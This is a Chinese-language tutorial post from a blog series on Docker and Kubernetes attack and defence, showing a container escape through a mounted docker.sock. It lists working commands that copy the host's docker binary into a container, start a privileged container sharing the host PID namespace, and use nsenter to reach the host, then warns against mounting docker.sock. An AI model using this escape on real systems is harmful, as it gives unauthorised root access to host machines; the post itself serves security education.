iT邦幫忙

2023 iThome 鐵人賽

DAY 7
0
  • 因為本篇篇幅比較少,所以跟Day07一起發佈 /images/emoticon/emoticon12.gif

Yes

docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock  --name my-ubuntu --cap-drop ALL aeifkz/my-ubuntu:v1.0 bash ;
capsh --print ;
  • docker.sock 可以透過docker 程式或是 curl 去操作,但是用 docker 程式還是比較符合人體工學,這邊就將宿主機的 docker 程式複製到容器內後執行。
docker cp $(which docker) my-ubuntu:/ ;
docker exec -it -u root my-ubuntu bash ;
/docker ps ;
  • 透過 docker.sock 開啟高權限的容器出來並進行逃逸。
 docker run --rm -it --privileged --pid host aeifkz/my-ubuntu:v1.0 bash ;

 #逃逸完成
 nsenter -m -u -i -n -p -t 1 bash ; 
  • 這個逃逸手法比較簡單一些,但重點在於即便只給容器使用 root 帳號並且拔除所有權限,但不小心把 docker.sock 掛進去的話一樣可以操作 docker 新增一個特權容器後進行逃逸,所以掛載 docker.sock 這部分需要更加小心謹慎。

  • 今日總結 :

    • 本日回顧 :
      • 這個 docker.sock 逃逸手法的幾個特色,第一個是它只需要是 root 身分,然不需要其他額外的權限。第二個是它有點提權的味道,利用低權限的狀態製造出特權容器然後做逃逸。所以目前已經看過了兩種類型的容器逃逸,一種是本身就是特權容器,另一種有能力製作出特權容器。但總而言之這兩種情況都要特別小心。
    • 次日預告 :
      • Docker 容器逃逸部分差不多就到這邊,當然還有其他權限的利用跟手法,但這邊就拉出幾個我覺得經典有差異的部分作介紹。接下來就要準備進入K8s的世界了。/images/emoticon/emoticon08.gif

上一篇
Day07 - (攻擊) 容器逃逸手法 - linux module
下一篇
Day09 - Minikube 簡易架設及架構介紹
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言